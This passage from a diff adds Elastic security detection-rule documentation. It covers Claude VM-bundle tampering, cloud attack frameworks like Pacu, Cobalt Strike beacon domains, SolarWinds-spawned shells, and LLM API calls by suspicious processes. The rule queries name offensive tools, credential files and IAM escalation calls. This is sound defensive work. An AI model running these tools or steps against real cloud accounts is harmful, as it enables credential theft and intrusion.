Search the environment for the same writer hash/path and for other unexpected modifications under Claude package + paths. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type in ("windows", "macos") and + event.action in ("creation", "modification", "overwrite", "rename") and + event.outcome == "success" and + file.path : ( + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/initrd", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/initrd.zst", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/vmlinuz", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/vmlinuz.zst", + "/Users/*/Library/Application Support/Claude/vm_bundles/claudevm.bundle/rootfs.img", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\initrd", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\initrd.zst", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\vmlinuz", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\rootfs.vhdx", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\vm_bundles\\claudevm.bundle\\smol-bin.vhdx" + ) and + not ( + (process.name : "claude.exe" and + process.executable : "?:\\Program Files\\WindowsApps\\Claude_*\\app\\claude.exe") or + (process.name : ("Claude", "Claude Helper") and + process.executable like "/Applications/Claude.app/*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Run Virtual Instance +** ID: T1564.006 +** Reference URL: https://attack.mitre.org/techniques/T1564/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-cloud-offensive-framework-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-cloud-offensive-framework-execution.asciidoc new file mode 100644 index 0000000000..943989540d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-cloud-offensive-framework-execution.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-36-cloud-offensive-framework-execution]] +=== Cloud Offensive Framework Execution + +Identifies execution of well-known cloud exploitation, enumeration, and attack-simulation frameworks on an endpoint. Adversaries run these after obtaining cloud credentials to map the compromised principal's effective permissions, discover privilege escalation paths, and pivot to the console. Pacu is tracked by MITRE as software S1091. Real-world use on compromised hosts is documented in the AWS customer incident catalog, where both the Unit 42 SugarCRM zero-day response and the AWS CIRT federated-user compromise record Pacu and ScoutSuite scanning from access keys found on EC2 hosts. Covered frameworks include: Pacu, CloudFox, ScoutSuite, PMapper, Stratus Red Team, WeirdAAL, enumerate-iam, Prowler, CloudMapper, CloudSplaining, cloud_enum, CloudBrute, SkyArk, Leonidas, Halberd, Barq, Cartography, Nimbostratus, AWSBucketDump, dsnap, aws_consoler, Redboto, cloudjack, s3scanner, CloudSploit, aws-enumerator, iam-vulnerable, Fog, and SmogCloud. Secret scanners such as TruffleHog and Gitleaks are intentionally excluded because they run routinely in CI and pre-commit hooks; their credential-validation use is covered by CloudTrail and GitHub user-agent rules. Authorized red team and cloud audit activity uses the same tooling, so alerts should be correlated with known assessment windows and operators. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.uptycs.com/blog/threat-research-report-team/threat-actor-mitigation-with-cloud-security +* https://github.com/ramimac/aws-customer-security-incidents +* https://unit42.paloaltonetworks.com/sugarcrm-cloud-incident-black-hat/ +* https://github.com/RhinoSecurityLabs/pacu +* https://github.com/BishopFox/cloudfox +* https://github.com/nccgroup/ScoutSuite +* https://github.com/nccgroup/PMapper +* https://stratus-red-team.cloud/ +* https://github.com/duo-labs/cloudmapper +* https://github.com/salesforce/cloudsplaining +* https://github.com/cyberark/SkyArk +* https://github.com/FSecureLABS/leonidas +* https://github.com/vectra-ai-research/Halberd +* https://github.com/prisma-cloud/dsnap + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* Platform: AWS +* Platform: Linux +* Platform: macOS +* Platform: Windows +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Execution +* Data Source: Elastic Defend +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Cloud Offensive Framework Execution* + + +This rule fires when a known cloud offensive, enumeration, or attack-simulation framework starts on an endpoint, either as a standalone binary or through a Python, Go, Node, uv, or pipx launcher whose command line references the tool. These frameworks are what an adversary reaches for immediately after obtaining cloud credentials: Pacu and CloudFox for privilege escalation paths, ScoutSuite and Prowler for account-wide enumeration, PMapper and CloudMapper for IAM graphing, Stratus Red Team, Leonidas, and Halberd for scripted attack chains. + + +*Possible investigation steps* + + +- Review `process.command_line` and `process.working_directory` to identify the framework, the modules or checks invoked, and any `--profile`, `--role`, or credential file arguments that show which cloud principal is being used. +- Identify the parent process and user. An interactive terminal under a security engineer's account differs from a launcher spawned by a web server, cron, CI runner, or a process running from `/tmp`. +- Check whether cloud credentials exist on the host (`~/.aws/credentials`, environment variables, instance metadata) and whether they were recently created or accessed. +- Pivot to CloudTrail or the equivalent cloud audit log for the same principal and time window. Pacu and ScoutSuite generate bursts of `Describe*`, `List*`, and `Get*` calls; PMapper and CloudFox add `iam:Simulate*` and `sts:GetCallerIdentity`. +- Look for follow-on activity on the host: new IAM users or keys, `aws sts assume-role`, `aws_consoler` console federation, or outbound connections from the same process tree. +- Correlate with `Potential Linux Hack Tool Launched` and with the CloudTrail rules `AWS IAM User Self Created Access Key Subsequently Used` and `Suspicious User Agent Detected in CloudTrail`. + + +*False positive analysis* + + +- Scheduled Prowler, ScoutSuite, or Cartography runs from a dedicated security or compliance host. Verify the host, user, and schedule, then add an exception scoped to that host and user rather than to the tool name. +- Red team or purple team engagements. Confirm against the engagement record and time window. +- Developers building or testing a framework from source. `go build`, `go test`, `pip install`, and `pytest` are excluded; if a build system uses other commands, exclude by parent process rather than by tool name. + + +*Response and remediation* + + +- If not authorized, isolate the host and terminate the process tree. +- Identify every cloud principal whose credentials were present on the host and rotate or revoke them. Treat any key used by the framework as compromised. +- Review CloudTrail for the principal from the first framework execution onward, looking for privilege escalation (`iam:CreateAccessKey`, `iam:AttachUserPolicy`, `iam:UpdateAssumeRolePolicy`), persistence (new users, roles, Lambda functions), and data access. +- Remove the framework, its virtual environment, and any session or credential caches it created (for example Pacu's session database). +- Escalate to the cloud incident response process if the principal had privileges beyond read-only enumeration. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "process" and event.type : "start" and event.action:(start or exec) and +( + process.name : ( + pacu or pacu.exe or cloudfox or cloudfox.exe or + weirdaal or "enumerate-iam" or enumerate_iam or scoutsuite or pmapper or + prowler or prowler.exe or cloudmapper or cloudsplaining or cloud_enum or + cloudbrute or cloudbrute.exe or nimbostratus or "aws-enumerator" or "aws-enumerator.exe" or + skyark or awsbucketdump or dsnap or aaia or + aws_consoler or awsconsoler or redboto or cloudjack or s3scanner or s3scanner.exe or + cloudsploit or "iam-vulnerable" or smogcloud + ) or + (process.name : (stratus or stratus.exe) and process.args : (detonate or warmup or revert or cleanup)) or + (process.name : cartography and process.args : ("--aws-sync-all-profiles" or "--aws-requested-syncs")) or + ( + process.name : (python* or pipx or uv or uvx or go or node) and + process.command_line : ( + *cloudfox* or *enumerate_iam* or *enumerate-iam* or *weirdAAL* or *aws_consoler* or + *-m pacu* or *pacu.py* or *aws_escalate* or *scoutsuite* or *pmapper* or + *cloudmapper* or *cloudsplaining* or *nimbostratus* or *leonidas-framework* or + *cloud_enum* or *halberd* or *skyark* or *awsbucketdump* or *stratus-red-team* or + *prowler* or *cloudsploit* or *cloudbrute* or *fog-aws* or *barq* + ) + ) +) and not process.command_line : ( + *pip install* or *pip3 install* or *pipx install* or *uv pip install* or *uv tool install* or + *go get* or *go install* or *go build* or *go test* or *npm install* or *--help* or *--version* or + *git clone* or *pytest* or "*site-packages/pip*" +) and not process.parent.name : (dpkg or rpm or apt or yum or dnf or brew or pip or pip3) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-cobalt-strike-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-cobalt-strike-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..29fdad9e20 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-cobalt-strike-command-and-control-beacon.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-36-cobalt-strike-command-and-control-beacon]] +=== Cobalt Strike Command and Control Beacon + +Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.morphisec.com/fin7-attacks-restaurant-industry +* https://cloud.google.com/blog/topics/threat-intelligence/fin7-phishing-lnk +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Rule Type: ES|QL +* Data Source: Fortinet +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Cobalt Strike Command and Control Beacon* + + +Cobalt Strike is a penetration testing tool often repurposed by attackers for malicious activities, particularly for establishing command and control (C2) channels. Adversaries exploit its beaconing feature to communicate with compromised systems using common protocols like HTTP or TLS. The detection rule identifies suspicious network patterns, such as specific domain naming conventions, indicative of Cobalt Strike's C2 activity, helping analysts pinpoint potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific domain that triggered the rule, focusing on the pattern [a-z]{3}.stage.[0-9]{8}\..* to determine if it matches known malicious domains. +- Analyze the network traffic logs associated with the alert, specifically looking at events categorized under network or network_traffic with types tls or http, to gather more context about the communication. +- Investigate the source IP address and destination domain involved in the alert to determine if they have been associated with previous malicious activities or are listed in threat intelligence databases. +- Examine the timeline of the network activity to identify any patterns or anomalies that could indicate a larger campaign or coordinated attack. +- Check for any related alerts or incidents in the security information and event management (SIEM) system that might provide additional context or indicate a broader compromise. +- Assess the affected endpoint for any signs of compromise, such as unusual processes or connections, to determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar domain naming conventions. Review and whitelist known update servers to prevent false alerts. +- Internal development or testing environments might mimic Cobalt Strike's domain patterns for legitimate purposes. Identify and exclude these environments from the rule. +- Automated scripts or tools that generate network traffic with similar domain structures can trigger false positives. Monitor and document these tools, then create exceptions for their activity. +- Some content delivery networks (CDNs) might use domain patterns that match the rule's criteria. Verify and exclude trusted CDNs to reduce unnecessary alerts. +- Regularly review and update the list of exceptions to ensure that only verified non-threatening behaviors are excluded, maintaining the rule's effectiveness. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent further communication with the Cobalt Strike C2 server. This can be done by disconnecting the network or using network segmentation techniques. +- Conduct a thorough forensic analysis of the compromised systems to identify the extent of the breach and any additional payloads or backdoors that may have been installed. +- Remove any identified Cobalt Strike beacons or related malware from the affected systems using updated antivirus or endpoint detection and response (EDR) tools. +- Change all credentials and access tokens that may have been exposed or used on the compromised systems to prevent unauthorized access. +- Monitor network traffic for any signs of re-infection or communication attempts with known Cobalt Strike C2 domains, using updated threat intelligence feeds. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been compromised. +- Implement network-level controls, such as blocking known malicious domains and IP addresses associated with Cobalt Strike, to prevent future attacks. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.*, logs-panw.panos*, logs-fortinet_fortigate.log-* metadata _id, _version, _index +| where ( + (event.category in ("network", "network_traffic") and network.protocol in ("tls", "http")) or + (data_stream.dataset == "panw.panos" and network.application in ("ssl", "web-browsing")) or + data_stream.dataset in ("network_traffic.tls", "network_traffic.http", "fortinet_fortigate.log") + ) +| where destination.domain RLIKE "[a-z]{3}\\.stage\\.[0-9]{8}\\..*" +| keep @timestamp, destination.domain, source.ip, destination.ip, network.protocol, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-command-execution-via-solarwinds-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-command-execution-via-solarwinds-process.asciidoc new file mode 100644 index 0000000000..c9bb85683d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-command-execution-via-solarwinds-process.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-36-command-execution-via-solarwinds-process]] +=== Command Execution via SolarWinds Process + +A suspicious SolarWinds child process (Cmd.exe or Powershell.exe) was detected. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor +* https://github.com/mandiant/sunburst_countermeasures/blob/main/rules/SUNBURST/hxioc/SUNBURST%20SUSPICIOUS%20FILEWRITES%20(METHODOLOGY).ioc + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command Execution via SolarWinds Process* + + +SolarWinds is a widely used IT management tool that can be targeted by adversaries to execute unauthorized commands. Attackers may exploit SolarWinds processes to launch command-line interpreters like Cmd.exe or Powershell.exe, potentially leading to system compromise. The detection rule identifies suspicious child processes initiated by specific SolarWinds executables, flagging potential misuse by correlating process start events with known SolarWinds parent processes. This helps in early detection of malicious activities leveraging SolarWinds for command execution. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific SolarWinds parent process that initiated the suspicious child process (Cmd.exe or Powershell.exe) and note the exact executable name and path. +- Examine the timeline of events around the process start event to identify any preceding or subsequent suspicious activities, such as unusual network connections or file modifications. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Investigate the command line arguments used by the child process to assess if they contain any malicious or unexpected commands. +- Correlate the event with other security logs and alerts from data sources like Microsoft Defender XDR or Sysmon to gather additional context and identify potential patterns of malicious behavior. +- Assess the system's current state for any indicators of compromise, such as unauthorized changes to system configurations or the presence of known malware signatures. + + +*False positive analysis* + + +- Routine administrative tasks using SolarWinds may trigger the rule when legitimate scripts are executed via Cmd.exe or Powershell.exe. Users can create exceptions for known maintenance scripts or tasks that are regularly scheduled and verified as safe. +- Automated updates or patches initiated by SolarWinds processes might be flagged. To mitigate this, users should whitelist specific update processes or scripts that are part of the regular update cycle. +- Monitoring or diagnostic activities performed by IT staff using SolarWinds tools can result in false positives. Establish a baseline of normal activities and exclude these from alerts by identifying and documenting regular diagnostic commands. +- Custom scripts developed for internal use that leverage SolarWinds processes could be misidentified as threats. Ensure these scripts are reviewed and approved, then add them to an exception list to prevent unnecessary alerts. +- Third-party integrations with SolarWinds that require command execution might be mistakenly flagged. Verify the legitimacy of these integrations and exclude their associated processes from detection rules. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes such as Cmd.exe or Powershell.exe that were initiated by the identified SolarWinds parent processes. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Update and patch the SolarWinds software and any other vulnerable applications on the affected system to mitigate known vulnerabilities. +- Implement application whitelisting to prevent unauthorized execution of command-line interpreters from SolarWinds processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name: ("cmd.exe", "powershell.exe") and +process.parent.name: ( + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe", + "SolarwindsDiagnostics*.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-common-large-language-model-endpoints.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-common-large-language-model-endpoints.asciidoc new file mode 100644 index 0000000000..7791971b4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-connection-to-common-large-language-model-endpoints.asciidoc @@ -0,0 +1,300 @@ +[[prebuilt-rule-8-19-36-connection-to-common-large-language-model-endpoints]] +=== Connection to Common Large Language Model Endpoints + +Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://malpedia.caad.fkie.fraunhofer.de/details/py.lamehug + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0096 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Common Large Language Model Endpoints* + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes or malicious scripts. +- Verify if the executed process is persistent on the host like common mechanisms Startup folder, task or Run key. +- Review any unusual network, files or registry events by the same process. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts. + + +*False positive analysis* + + +- Trusted applications from an expected process running in the environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Immediately block the identified indicators of compromise (IoCs). +- Implement any temporary network rules, procedures, and segmentation required to contain the attack. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Update firewall rules to be more restrictive. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type in ("macos", "windows") and dns.question.name != null and +( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "regsvr32.exe", "dllhost.exe", + "node.exe", "javaw.exe", "java.exe", "*.pif", "*.com", "python*", "osascript", "Script Editor", "curl", "curl.exe", "deno", + "deno.exe", "node", "bun", "bun.exe") or + + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + + ( + process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "/Users/Shared/*", "/Library/WebServer/*", + "/Users/*/Library/WebServer/*", "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*", + "/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) + ) + ) and + dns.question.name : ( + // Major LLM APIs + "api.openai.com", + "*.openai.azure.com", + "api.anthropic.com", + "api.mistral.ai", + "api.cohere.ai", + "api.ai21.com", + "api.groq.com", + "api.perplexity.ai", + "api.x.ai", + "api.deepseek.com", + "api.gemini.google.com", + "generativelanguage.googleapis.com", + "api.azure.com", + "api.bedrock.aws", + "bedrock-runtime.*.amazonaws.com", + + // Hugging Face & other ML infra + "api-inference.huggingface.co", + "inference-endpoint.huggingface.cloud", + "router.huggingface.co", + "*.hf.space", + "*.replicate.com", + "api.replicate.com", + "api.runpod.ai", + "*.runpod.io", + "api.modal.com", + "*.forefront.ai", + + "api.arcee.ai", + "api.sambanova.ai", + "chatapi.akash.network", + "api.reka.ai", + "api.cerebras.ai", + "api.morphllm.com", + "openrouter.ai", + "api.moonshot.cn", + "api.moonshot.ai", + "api.z.ai", + "api.inference.wandb.ai", + "trace.wandb.ai", + "api.bfl.ai", + "api.eu.bfl.ai", + "api.us.bfl.ai", + "api.ionstream.ai", + "api.minimax.io", + "api.minimaxi.com", + "api.stepfun.ai", + "api.stepfun.com", + "api.featherless.ai", + "api.intelligence.io.solutions", + "api.fireworks.ai", + "inference.baseten.co", + "api.baseten.co", + "api.gmi-serving.com", + "api.ncompass.tech", + "api.nextbit256.com", + "api.hyperbolic.xyz", + "neuro.mancer.tech", + "managed-inference-api-proxy.crusoecloud.com", + "api.crusoe.ai", + "api.avian.io", + "api.siliconflow.cn", + "api.totalgpt.ai", + "switchpoint.dev", + "api.novita.ai", + "api.inflection.ai", + "api.wavespeed.ai", + "api.cloud.mara.com", + "api.inference.net", + "api.deepinfra.com", + "api.xiaomimimo.com", + "dashscope.aliyuncs.com", + "dashscope-intl.aliyuncs.com", + "dashscope-us.aliyuncs.com", + "integrate.api.nvidia.com", + "api.inceptionlabs.ai", + "api.friendli.ai", + "external.api.recraft.ai", + "api.cloudflare.com", + "gateway.ai.cloudflare.com", + "api.studio.nebius.ai", + "api.tokenfactory.nebius.com", + "api.aionlabs.ai", + "api.relace.run", + "instantapply.endpoint.relace.run", + "ranker.endpoint.relace.run", + "embeddings.endpoint.relace.run", + "console-api.inference.ai", + "api.parasail.io", + "api.redpill.ai", + "api.modular.com", + "ark.cn-beijing.volces.com", + "ark.ap-southeast.bytepluses.com", + "ai2endpoints.cirrascale.ai", + "aisuite.cirrascale.com", + "api.clarifai.com", + "api.venice.ai", + "api.atlascloud.ai", + "wanqing.streamlakeapi.com", + "api.ambient.xyz", + "api.upstage.ai", + "api.together.xyz", + "api.inceptron.io", + "chutes.ai", + "aiplatform.googleapis.com", + "portal.nousresearch.com", + "inference-api.nousresearch.com", + "api.githubcopilot.com", + "ai-gateway.vercel.sh", + "opencode.ai", + "api.kilo.ai", + "qianfan.baidubce.com", + "hunyuan.tencentcloudapi.com", + "open.bigmodel.cn", + "spark-api-open.xf-yun.com", + "api.sensenova.cn", + "api.baichuan-ai.com", + "api-inference.modelscope.cn", + "api.lingyiwanwu.com", + "api.360.cn", + + // Consumer-facing AI chat portals + "chat.openai.com", + "chatgpt.com", + "copilot.microsoft.com", + "bard.google.com", + "gemini.google.com", + "claude.ai", + "perplexity.ai", + "poe.com", + "chat.forefront.ai", + "chat.deepseek.com", + + // OpenClaw + "openclaw.ai" + ) and + + not ( + process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\SystemApps\\Microsoft.LockApp_*\\LockApp.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + 